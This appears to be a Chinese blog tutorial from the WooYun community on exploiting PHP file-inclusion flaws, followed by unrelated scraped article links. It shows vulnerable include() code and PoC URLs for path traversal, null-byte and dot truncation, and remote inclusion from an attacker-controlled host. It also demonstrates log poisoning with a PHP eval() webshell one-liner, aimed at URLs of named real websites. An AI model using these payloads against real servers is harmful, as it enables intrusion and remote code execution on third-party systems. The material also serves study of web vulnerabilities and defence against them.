php包含那点事情[WOOYUN]
有空就多整理下曾经研究过的知识和需要温顾的知识,明年可能去寻工作络.
关于PHP中LFI(Local File Include,本地文件包含)漏洞,大家都很熟悉了;paper很多很多,特别是国外的...不过
大家都懒得测试,我就来整理下.
1.普通本地包含;
<?php
$query=$_GET['p'];
include($query);
?>
poc:http://127.0.0.1:8080/phpwite/include.php?p=../hanguo/test.php
../hanguo/test.php为包含的路径.
只要目标服务器支持上传,不管是jpg,txt,gif等都可以,在其中包含一句话木马即可,这种方法很简单没什么可说的。
2.截断本地包含
require_once($a.'.php');
include($a.".php");
等等类似此包含的函数..
在WINDOWS下还有特别用处:
\.或者./或者\或者/截断 (WINDOWS都可以使用.)
[link href="WooYun:快乐购某分站文件包含漏洞"]波波虎[/link]
截断的原理
[link href="WooYun:济南大学主站本地文件包含导致代码执行"]Linux包含截断例子[/link] (Linux./和/可以.)
%00截断包含,有gpc=off和php版本限制
poc:http://127.0.0.1:8080/phpwite/include.php?p=../hanguo/test.php%00
3.远程包含
在allow_url_include=On就是远程文件包含了,为off那就只能本地包含了.
测试case:
<?php
$query=$_GET['p'];
include($query.".php");
?>
连接:http://www.xsser.com/explame.php?p=http://www.axxer.com/yeah.txt
爆错了:
Warning: main(http://www.axxer.com/yeah.txt.php): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in
/var/www/htdocs/explame.php on line 3
include($query.".php");代码的缘故,在后面加上了".php",导致yeah.txt变成了yeah.txt.php.
这里我们不需要截断啦,来个360计之----将计就计.
在www.axxer.com创建个yeah.php文件;
然后http://www.xsser.com/explame.php?p=http://www.axxer.com/yeah,自动在后面加
上.php;多么爱。。。。
远程包含小连接
我们还可以用php自带协议来利用:
包含data:// 或者php://input 伪协议
这个漏洞对于php5.0以下有效,5.3测试失败,其他大家自行总结。还是比较鸡肋,不过不亏为一种好思路。
http://www.schnelltest24.de/index.php?page=/etc/passwd//这个没有截断,我们尝试下用协议看看.
利用协议然后POST发送利用代码,哈哈;多么有爱~~~~.
4.日记包含高级利用
[link href="WooYun:济南大学主站本地文件包含导致代码执行"]Linux包含截断例子[/link]
此连接已经透露出技巧了呢,连接思路简单说下:
(1)访问带有一句话的错误连接(http://www.ujn.edu.cn/<%3fphp eval($_REQUEST[s]);%3f>xxxxxxxx...),此连接将记录到error.log错误记录文件中.
(2)找到包含漏洞的地方,包含到error.log文件的路径.然后在自定义s参数中输入我们恶意代码. (http://www.ujn.edu.cn/english/depart.php?s=phpinfo();&name=../../../../../../var/log/lighttpd/error.log/././..........)
一先限制以及突破:
类似http://www.exp.com/index<?php eval($_POST[cmd]);?>.php
这样的提交,某些WEB服务器将会把空格做HTTP编码转成%20写入web日志,如果PHP包含<?php%20eval($_POST[cmd]);?>这样的语句肯定是不会成功的,所以我们必须把空格真正的写入WEB日志.
可以使用:伪造没有Connection HTTP标头的请求包
一点连接:内容1
内容2
5.其他高级利用
(1)包含/proc/self/environ环境变量:
这个是利用Linux中的环境变量作为基础,很多时候这个方法行不通,因为没有/proc/self/environ的访问权限.同读取/etc/passwd一样
利用(文章中第四点有详细介绍了.)
(2) phpinfo临时文件爆破包含. //看情况而定,有的需要%00等特殊字符截断.上面介绍过了.
(3)_SESSION爆破包含. //看情况而定,有的需要%00等特殊字符截断.上面介绍过了.
(2) (3)点介绍
phpinfo爆破包含pdf
php包含那点事情[WOOYUN]的更多相关文章
- 各种解析漏洞获取Webshell
各种解析漏洞拿shell 一.IIS 6.0解析漏洞 IIS 6.0解析利用方法有两种1.目录解析/xx.asp/xx.jpg2.文件解析wooyun.asp;.jpg第一种,在网站下建立文件夹的名 ...
- JavaScript: top对象
一般的JS书里都会在讲框架集的时候讲top,这会让人误解,认为top对象只是代表框架集,其实top的含义应该是说浏览器直接包含的那一个页面对象,也就是说如果你有一个页面被其他页面以iframe的方式包 ...
- hadoop2-MapReduce详解
本文是对Hadoop2.2.0版本的MapReduce进行详细讲解.请大家要注意版本,因为Hadoop的不同版本,源码可能是不同的. 以下是本文的大纲: 1.获取源码2.WordCount案例分析3. ...
- Forth 语言概要 - Forth: An underview
Forth 语言概要 - Forth: An underview 原作者 Peter Knaggs 原文标题< Forth: An underview > 译者: 未知 译文链接: htt ...
- 循环神经网络-LSTM
LSTM(Long Short-Term Memory)是长短期记忆网络,是一种时间递归神经网络,适合于处理和预测时间序列中间隔和延迟相对较长的重要事件. LSTM能够很大程度上缓解长期依赖的问题. ...
- NoSQL现状
经过了至少4年的激烈争论,现在是对NoSQL的现状做一个阶段性结论的时候了.围绕着NoSQL发生了如此之多的事情,以至于很难对其作出一个简单概括,也很难判断它达到了什么目标以及在什么方面没有达到预期. ...
- upload-labs19记录
upload-labs19记录 本次做题为白盒,因为只是fuzz的话并不能学到什么,所以从漏洞源下手. 前端校验 Pass1 源码 function checkFile() { var file = ...
- hadoop之mapreduce编程实例(系统日志初步清洗过滤处理)
刚刚开始接触hadoop的时候,总觉得必须要先安装hadoop集群才能开始学习MR编程,其实并不用这样,当然如果你有条件有机器那最好是自己安装配置一个hadoop集群,这样你会更容易理解其工作原理.我 ...
- 12:django 模板 内建过滤器
django 模板 内建过滤器 add{{ value|add:"2" }} 对象的加法,如果都是整数类型,简单的算术加法:如果是列表,则是列表的相加 如果无法执行对象的相加,比如 ...
随机推荐
- Quart2D图形上下文
学习了下绘制文本图形后,下面学习图形上下文栈. 在Quart 2D绘制简单图形http://www.cnblogs.com/cuiyw/p/4401857.html时,如果绘制不一样属性的内容时,在渲 ...
- printf中用法详解
%c 单个字符 %d 十进制整数 %f 十进制浮点数 %o 八进制数 %s 字符串 %u 无符号十进制数 %x 十六进制数 %% 输出百分号% printf的格式控制的完整格式: % - 0 m ...
- 调用百度api输出地址和城市查询出具体坐标系
在工作中遇到标题的内容,不知道如何写,后来我的领导写了一套代码,感觉很是厉害,特在此收藏,留作纪念 public static string GetResponse(string address, s ...
- mongodb oplog与数据同步
1. 复制集(Replica sets)模式时,其会使用下面的local数据库local.system.replset 用于复制集配置对象存储 (通过shell下的rs.conf()或直接查询)loc ...
- Java基础——数组
一.大数据 如果基本的整型和浮点型精度不能够满足需求,那么可以使用java.math包含中的两个类:BigInteger和BigDecimal. 这两个类处理包含任意长度数字序列的数值.BigInte ...
- mongodb命令(持续更新)
$lt $lte $gt $gte< . <= . > . >= 1.分组求和db.collection.aggregate([{$group : {_id : null, s ...
- python 约束,异常处理与MD5加密
1. 类的约束 1. 写一个父类. 父类中的某个方法要抛出一个异常 NotImplementedError (重点) 2. 抽象类和抽象方法 # 语法 # from abc import ABCMet ...
- Python3.6下的Requests登录及利用Cookies登录
利用Python中的Requests模块可以实现Post,Get等发送功能,我以登录某网站为例,记录使用Post发送用户名.密码及图形验证码,以及通过Cookies直接登录的内容. 1.利用POST发 ...
- CSS应用的小问题总结
1.两个元素换行书写时,在实际的布局中展示为两个元素之间多了一个区间(这个区间通常是因为代码在换行时,解析会自动默认为一个空格字符),所以在实际应用时,如果想要将两个元素完全无缝隙的放置在一起并排显示 ...
- React之函数中的this指向
我们都知道在React中使用函数时,有两种写法,一是回调函数,二是直接调用,但需要在构造函数中绑定this,只有这样,函数中的this才指向本组件 总结一下没有绑定this的函数中的this指向 不管 ...